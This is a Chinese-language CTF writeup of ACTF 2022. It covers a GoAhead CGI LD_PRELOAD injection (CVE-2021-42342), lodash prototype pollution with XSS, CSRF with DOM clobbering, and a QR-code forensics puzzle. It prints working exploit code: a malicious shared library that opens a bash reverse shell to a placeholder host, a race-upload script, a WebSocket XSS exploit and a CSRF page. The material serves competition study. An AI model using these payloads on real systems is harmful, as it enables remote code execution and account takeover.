ACTF 2022 writeup - ek1ng's Blog

web

gogogo

这道是ACTF的web签到题,是根据CVE-2021-42342 GoAhead 远程命令执行漏洞出的一道环境变量注入的题目,相对来说比较简单,按照p牛的文章就可以直接复现。

题目是一个用GoAhead起的Web server,和一个叫hello的cgi文件,有执行权限并且访问会输出当前的环境变量,除此之外也没什么别的,和文章中提的一样。

首先呢这个GoAhead是开启了CGI的配置的,所以我们可以在cgi-bin目录下访问到对应的cgi文件hello,访问一下看看先。

图 1

接下来我们可以在开启CGI配置的情况下,进行环境变量注入,通过发一个multipart数据包,以表单的形式注入环境变量,使用的环境变量是LD_PRELOAD,之前打的虎符CTF2022中,ezphp那个题目也是利用LD_PRELOAD出了一道php环境变量注入题。回到gogogo这个题目,先来看看怎么如何成功注入环境变量。按照p牛的文章,先请求一下看看能不能直接注入LD_PRELOAD

图 2

先用curl发个POST请求,在表单中添加LD_PRELOAD=1发出去看看

图 3

这里补充一下对于CGI的内容,CGI是Web服务器和一个独立的进程之间的协议,它会把HTTP请求Request的Header头设置成进程的环境变量,HTTP请求的Body正文设置成进程的标准输入,进程的标准输出设置为HTTP响应Response,包含Header头和Body正文。

对于一个CGI程序,主要的工作是从环境变量和标准输入中读取数据,然后处理数据,最后向标准输出中输出数据。

  • 环境变量
    环境变量中存储的叫做Request Meta-Variables,也就是诸如QUERY_STRING、PATH_INFO之类的,这些都是由Web服务器通过环境变量传递给CGI程序的,CGI程序也是从环境变量中读取的。
  • 标准输出
    标准输出中存放的往往是用户通过PUTS或POST提交的数据,这些数据也是由Web服务器传递过来的。

我们现在通过Body中发送multipart表单的方式,能够成功环境变量注入。那我们如何利用LD_PRELOAD这个环境变量来做到RCE呢?

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库,一方面,我们可以以此功能来使用自己的或是更好的函数(比如,你可以使用Google开发的tcmalloc来提升效率),而另一方面,我们也可以向别人的程序注入程序,从而达到特定的目的。

这样看来,我们可以上传一个.so文件到服务器,然后让LD_PRELOAD的值为这个文件的路径,让hello这个程序运行时动态链接这个恶意的.so文件,从而达到RCE的目的。

图 4

而且直接去上传文件,GoAhead源码中对于上传目录的配置,会默认上传到/tmp这个目录,但直接去上传会由于/etc/goahead/tmp这个目录不存在并且也没有写权限而无法上传,不过题目的环境也是根据p牛这篇cve复现的文章做了对应的配置,修改了ME_GOAHEAD_UPLOAD_DIR这个参数,Dockerfile里面有这样一句make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'"因,这里"'\"/tmp\"'"是用\转移了双引号,实际上是套了三层,最外层因为ME_GOAHEAD_UPLOAD_DIR是个字符串要加双引号,然后在shell中传参又会去掉一层引号,最后在代码中又是作为一个字符串,因此是三层引号,看起来就不太好懂的样子,做一下解释。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#ifndef ME_GOAHEAD_UPLOAD_DIR
#define ME_GOAHEAD_UPLOAD_DIR "tmp"
#endif

PUBLIC void websUploadOpen(void)
{
uploadDir = ME_GOAHEAD_UPLOAD_DIR;
if (*uploadDir == '\0') {
#if ME_WIN_LIKE
uploadDir = getenv("TEMP");
#else
uploadDir = "/tmp";
#endif
}
trace(4, "Upload directory is %s", uploadDir);
websDefineHandler("upload", 0, uploadHandler, 0, 0);
}

所以虽然GoAhead本身不配置是不能这样传参的,但是题目环境是做了这样的配置的(题目应该就是按照P牛文章出的),因此在这种特定情形下,有/tmp目录,就可以上传文件。

那么接下来就是先尝试在本地劫持一个写有恶意代码LD_PRELOAD的动态链接库,上传.so文件,利用恶意代码弹Shell,cat flag一把梭了。

但是还有一个需要说的就是,我们本地劫持动态链接库后,应该给LD_PRELOAD赋值什么才能让cgi文件hello去链接我们上传的这个so文件呢?linux中在目录/proc/pid/fd/N是文件描述符,是一个符号链接,指向实际打开的地址,而/proc/self/fd/N就指向加载了LD_PRELOAD这个环境变量的cgi程序进程本身了,这样就可以达到链接我们上传到/tmp/这个目录的恶意so文件的目的。

但是参考P牛文章,实际过程还会遇到ME_GOAHEAD_LIMIT_POST大小限制的问题,默认是16284个字节,也就是我们使用的动态链接库不能过大,这里要需要gcc -s来缩小payload体积,使得不超过大小限制。

还有一个问题是为什么/proc/pid/fd/N一定能够找到一个指向/tmp下我们上传的so文件的文件描述符呢?实际上在执行到cgi这里时,被打开的临时文件描述符已经被关闭了,那么就无法找到我们包含的文件了,自然也无法达成利用。

这里的解决方案是想办法让这个文件描述符不要关闭,这里p牛给出的解决方案有两个,一是条件竞争,一个线程上传文件,一个线程使用LD_PRELOAD包含这个文件,第二是给evil.so增加一些脏字符并且设置HTTP请求的Content-Length小于实际的数据包大小,使GoAhead完全读取到payload.so的内容,但是我们并没有完成上传文件的过程,使文件描述符没有关闭。

最后参考AAA师傅的官方payload,复现了题目。

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void aaanb(void)
{
unsetenv("LD_PRELOAD");
system("touch /tmp/success");
system("/bin/bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1'");
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests, random
from concurrent import futures
from requests_toolbelt import MultipartEncoder
hack_so = open(
'hack.so', 'rb').read()

def upload(url):
m = MultipartEncoder(
fields = {
'file':('1.txt', hack_so,'application/octet-stream')
}
)
r = requests.post(
url = url,
data=m,
headers={'Content-Type': m.content_type}
)

def include(url):
m = MultipartEncoder(
fields = {
'LD_PRELOAD': '/proc/self/fd/7',
}
)
r = requests.post(
url = url,
data=m,
headers={'Content-Type': m.content_type}
)


def race(method):
url = 'http://xxx.xxx.xxx.xxx:10218/cgi-bin/hello'
if method == 'include':
include(url)
else:
upload(url)

def main():
task = ['upload','include'] * 1000
random.shuffle(task) #
with futures.ThreadPoolExecutor(max_workers=5) as executor:
results = list(executor.map(race, task))

if __name__ == "__main__":
main()

poorui

这题是一个用react写的简易在线聊天室,主要使用web socket进行通讯,考的是lodash原型链污染结合XSS的内容。

图 3

那么这里首先聊天模板的地方存在lodash原型链污染,结合传图片可以XSS,使得admin用户windows.location到其他页面,断开ws链接把admin踢下线,从而登陆admin帐号getflag。

首先f12可以看到,source map是没有关的,虽然题目给出的附件只有build后的静态文件,但是f12却可以看到react写的源码,其中/component/chatbox.js中这里可以利用原型链污染,来让我们可以传图片。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
render(){
const data = sanitize(this.state.data)
const type = this.state.type
if(type === 'text'){
return <p className="text">{data}</p>
}
if(type === 'link'){
return <a className="text" href={data}>click this</a>
}
if(type === 'tpl'){
return this.templateCompile(data.tpl, data.ctx)
}
if(type === 'image'){
// console.log(this.props)
const attrs = isJson(data.attrs) ? JSON.parse(data.attrs) : data.attrs
if(this.props.allowImage && attrs.wow){
return <div style={{
backgroundImage: `url(${data.src})`,
backgroundSize: "contain",
backgroundRepeat: "no-repeat",
// width: '100%',
padding: '25%',
height: 0,
}} {...attrs}/>
}else{
return <p className="warning-text">sorry, <code>allowImage</code> is false</p>
}
}
return <div>unknown message type: {type}</div>
}

通过原型链污染能传图片后,我们再通过XSS,让admin windows.location到别的链接,断开ws链接后,登上admin getflag,就可以啦。

协会Summer师傅的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
const { WebSocket } = require("ws")

const code = `window.location.href = 'https://www.baidu.com'`

// const ws = new WebSocket("ws://127.0.0.1:8081")
const ws = new WebSocket("ws://124.71.181.238:8081")

ws.on("message", data => {
try {
data = JSON.parse(data)
} catch {
return console.log(new Date(), data.toString())
}
switch (data.api) {
case "login":
doLogin()
}

console.log(new Date(), "message", data)
})

ws.on("open", () => {
setTimeout(() => {
// apiList()
prototypePollution()
sendImage()
getFlag()
}, 1000)
})

function doLogin() {
ws.send(JSON.stringify({ api: "login", username: (Math.random() + 1).toString(36) }))
}

function prototypePollution() {
const payload = {
api: "sendmsg",
to: "admin",
msg: {
type: "tpl",
data: {
tpl: "test.tpl",
ctx: '{ "constructor": { "prototype": { "allowImage": true } } }'
}
}
}
ws.send(JSON.stringify(payload))
}

function sendImage() {
console.log("send image")
const payload = {
api: "sendmsg",
to: "admin",
msg: {
type: "image",
data: {
src: "http://www.baidu.com",
attrs: '{"id":"x","tabindex":1,"is":"focus","autofocus":true,"wow":true,"onfocus":"eval(atob(`' + Buffer.from(code).toString("base64") + '`))"}',
}
}
}
ws.send(JSON.stringify(payload))
}

function getFlag() {
console.log("get flag")
// admin 被踢后不会立刻下线,设置个 1000 ms 延时
setTimeout(() => {
ws.send(JSON.stringify({ api: "login", username: 'admin' }))
const payload = {
api: "getflag",
}
ws.send(JSON.stringify(payload))
}, 1000)
}

图 4

beWhatYouWannaBe

题目也是给出了源码的,首先是这个从界面上看,常规的注册登陆,登进去之后会提示需要成为Admin

图 1

所以先来看一下这部分功能的实现。

整体功能上也比较简单,首先flag的是分成了两部分,分别是16个字符,那我们先看第一部分的flag获取条件。

第一部分的flag需要我们user.isAdmin的值为true。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
app.get('/flag', (req, res) => {
if (!req.session.user) {
res.send(FAKE_FLAG)
return
}
User.findOne({ username: req.session.user }, (err, user) => {
if (err) {
res.send({ err: err })
return
}
if (user.isAdmin) {
// part 1
res.send(FLAG.substring(0, 16))
} else {
res.send(FAKE_FLAG)
}
})
})

当新建用户时,isAdmin的值默认为false。

1
2
3
4
5
const newuser = new User({
username: username,
password: password,
isAdmin: false
})

而接口/beAdmin提供了认证成为admin的方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
const ValidateToken = (Token) => {
var sha256 = crypto.createHash('sha256');
return sha256.update(Math.sin(Math.floor(Date.now() / 1000)).toString()).digest('hex') === Token;
}

app.post('/beAdmin', (req, res) => {
if (req.session.user != 'admin') {
res.send("sorry, only admin can be admin")
return
}
const username = req.body.username
const csrftoken = req.body.csrftoken
if (ValidateToken(csrftoken)) {
User.updateMany({ username: username }, { isAdmin: true },
(err, users) => {
if (err) {
res.send('something error when being admin')
return
}
if (users.length == 0) {
res.send('no one can be admin')
} else {
res.send('wow success wow')
}
}
)
} else {
res.send('validate error')
}
})

认证的条件是req.session.user == admin && ValidateToken(csrftoken) == true,先抓个包看看默认情况下,点击按钮i want to be admin会发生什么。

图 2

回显sorry,only admin can be admin,因为不满足req.session.user == admin

图 3

因为我们这个用户不是admin对吧,然后所以我们确实没有办法直接去访问beAdmin这个接口,这个接口的作用是让某用户成为admin,相当于有提权的功能,但是只有admin才能调用这个接口。

所以我们就需要让admin访问这个接口,把我们这个用户的身份变成admin,来获取flag。

那这里题目又提供了一个功能让admin用户去访问一个url,我们可以通过这个let admin see see的功能,让admin访问一个我们构造好的恶意站点,来让admin发起一个向beAdmin接口的POST请求,把我们这个帐号的权限提升。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function showAdmin(){
const url = document.getElementById('url').value
alert(url)
fetch('/admin', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
url: url
})
})
.then(res => res.text())
.then(res => {
alert(res)
})
}

app.post('/admin', (req, res) => {
let url = req.body.url ? req.body.url : 'http://pumpk1n.com'
admin.view(url)
.then(() => { res.send(url) })
.catch(e => { res.send(e) })
})

这里admin.js中可以看出,admin是利用puppeteer实现的自动登陆和自动访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const puppeteer = require('puppeteer');
const process = require('process')
const ADMIN_USERNAME = 'admin'
const ADMIN_PASSWORD = process.env.password
const FLAG = require('./config').FLAG
const view = async(url) => {
const browser = await puppeteer.launch({
headless: true,
args: ['--no-sandbox', '--disable-setuid-sandbox']
})
const page = await browser.newPage()
// page.on('console', msg => console.log(msg.text()))
await page.goto('http://localhost:8000/login')
await page.type("#username", ADMIN_USERNAME)
await page.type("#password", ADMIN_PASSWORD)
await page.click('#btn-login')
// get flag1
await page.goto(url, { timeout: 5000 })
// get flag2
await page.setJavaScriptEnabled(false)
await page.goto(url, { timeout: 5000 })
const data = await page.evaluate((url, FLAG) => {
if (fff.lll.aaa.ggg.value == "this_is_what_i_want") {
return fetch(url + '?part2=' + btoa(encodeURIComponent(FLAG.substring(16))));
} else {
return fetch(url + '?there_is_no_flag')
}
}, url, FLAG)
await browser.close()
}
exports.view = view

因此我们可以构造这样的界面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const app = require('express')()
const bodyParser = require('body-parser')
const session = require('express-session')
const crypto = require('crypto')

const LISTEN = '0.0.0.0'
const PORT = 3000

app.set('view engine', 'ejs')
app.use(session({
secret: "aaaa",
resave: false,
saveUninitialized: true,
cookie: {secure: false},
}))
app.use(bodyParser.urlencoded({extended: false}))
app.use(bodyParser.json())

app.get('/', (req, res) => {
var sha256 = crypto.createHash('sha256');
res.render('index', {token: sha256.update(Math.sin(Math.floor(Date.now() / 1000)).toString()).digest('hex')})
})

app.listen(PORT, LISTEN, () => {
console.log(`listening ${LISTEN}:${PORT}...`)
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form method='POST' action='http://localhost:8000/beAdmin' target="csrf-frame" id="csrf-form">
<input id="csrf" name='csrftoken' value="<%= token %>">
<input name='username' value='test'>
<input type='submit' value='submit'>
</form>
<script>
document.getElementById("csrf-form").submit()
</script>
</body>
</html>

放在自己服务器上运行后,让admin去访问这个页面,我们就能成为admin,拿到前面半个flag啦。

图 1

那么第二部分的flag获取条件和第一部分不太一样,第二部分是使用Dom Clobbering进行攻击,当满足条件时,admin会带着base64编码后的后半个flag发送一条GET请求到我们指定的url,那么根据http的流量记录我们就能拿到flag了,而关键是如何利用Dom Clobbering来满足题目要求。

1
2
3
4
5
6
7
8
9
10
// get flag2
await page.setJavaScriptEnabled(false)
await page.goto(url, { timeout: 5000 })
const data = await page.evaluate((url, FLAG) => {
if (fff.lll.aaa.ggg.value == "this_is_what_i_want") {
return fetch(url + '?part2=' + btoa(encodeURIComponent(FLAG.substring(16))));
} else {
return fetch(url + '?there_is_no_flag')
}
}, url, FLAG)

这里关闭了js并且访问我们给出的url,要求fff.lll.aaa.ggg.value的值为”this_is_what_i_want”,就会给出flag。

参考文章https://xz.aliyun.com/t/7329https://portswigger.net/research/dom-clobbering-strikes-back

图 4

如果对于一层的值的调用,我们可以直接在页面上构造对应html元素,并且让admin去访问即可,但是这里是有多层的就需要一些技巧,用到iframe与srcdoc来进行配合。

1
2
3
4
<iframe name=fff srcdoc="
<iframe name=lll srcdoc='<a id=aaa><input id=aaa name=ggg value=this_is_what_i_want>'>"></iframe>
<img id="test" src="http://x.x.x.x:xx">
<script>document.getElementById("test").src="1"</script>

图 2

base64解码就能得到后面半个啦。

ToLeSion

Mysient

misc

Broken QRCode

题目作者也是写了一篇wp,这里参考进行复现。

翔鸽最近好像在筹备一个二维码的视频,在开发时不小心在群里泄露了题目,虽然及时撤回了,但还是从群里的 bot 日志翻到了以下信息:

1
2
3
4
5
2022-06-24 13:57:24 V/Bot.3559109703: [Project QRCode(xxx)] 鹤翔万里(xxx) -> 刚写完了二维码生成器,但是好像写出 bug 了,扫描不了,你们看看?
2022-06-24 13:57:50 V/Bot.3559109703: [Project QRCode(xxx)] 鹤翔万里(xxx) -> [mirai:image:{AA8F922E-7A7C-886E-F54C-E82D73F614D8}.jpg]
2022-06-24 13:58:26 V/Bot.3559109703: [Project QRCode(xxx)] 鹤翔万里(xxx) -> 草
2022-06-24 13:58:58 V/Bot.3559109703: [Project QRCode(xxx)] 鹤翔万里(xxx) -> 才反应过来,这可不兴看啊,里面是要给 ACTF 出的题来着(
2022-06-24 13:59:06 V/Bot.3559109703: [Project QRCode(xxx)] 鹤翔万里(xxx) -> 撤了撤了(

题目描述其实比较简单,就是一段mirai记录下的聊天记录,那么根据mirai的接口我们可以提取这张jpg。

图 5

并且作者放了hint:I broke this QR code by just missing a step

那么这里的错误是二维码没有进行掩码操作。

我们使用qrazy补上掩码这一步。

图 6

访问给出的gist链接,得到一个压缩包,发现解压不了需要修复。

通过16进制查看器可以发现,16制存储的信息转换成ascii码刚好是504B0304开头的一个用16进制存储的压缩包的信息。

图 1
那么我们这里只需要将ascii转换成16进制即可,这里我用的是linux下的工具Okteta把原zip的ascii值复制出来,存成新的压缩包,也可以使用如下的python脚本。

1
2
3
4
5
6
7
8
f = open('qrcodes.zip', 'r')
a = f.read()
f.close()
f = open('qrcodes1.zip', 'wb')
a=int(a,16)
b=len(bin(a)[2:])//8+1
f.write(a.to_bytes(b, byteorder='big'))
f.close()

解压后得到12张二维码jpg。

图 2

对于一个图片的隐藏信息,要么是隐藏在图片的编码中,不论是LSB还是藏在16进制值的末尾,都是通过编码方式来隐藏信息,要么就是隐藏在图片的内容中,这里前面半个是通过编码来隐藏的,后面半个是通过内容隐藏的。

我们先看前面半个flag的获取,jpg的16进制值结束为FFD9,在第1张jpg的末尾隐藏了一段16进制值41 03 14 C7 95 F6 B6 E3 07 75 F5 15 24 36 F6 43 37 D0 EC 18 7C 22 9C 4D 4A 44

图 3

这是字符串表示成二维码的中间过程,是二维码的比特序列(data sequence),使用https://www.nayuki.io/page/creating-a-qr-code-step-by-step也可以验证这是Split blocks, add ECC, interleave后的二维码比特序列,那么就是需要逆回去来解析这个二维码的原字符串。

图 4

解析得到 1Ly_kn0w_QRCod3}

另一半的flag需要从图片的内容中获取,也就是二维码的内容。由于二维码的识别存在纠错机制,扫描时可以靠纠错来得到正确内容,而我们扫描这12个二维码会得到12句歌词,因此我们可以通过这个歌词,来生成完全正确的二维码,再与存在错误的二维码diff,从而获取到通过这些错误表示的信息。

图 5

得到flag ACTF{Y0u_Re41Ly_kn0w_QRCod3}

评论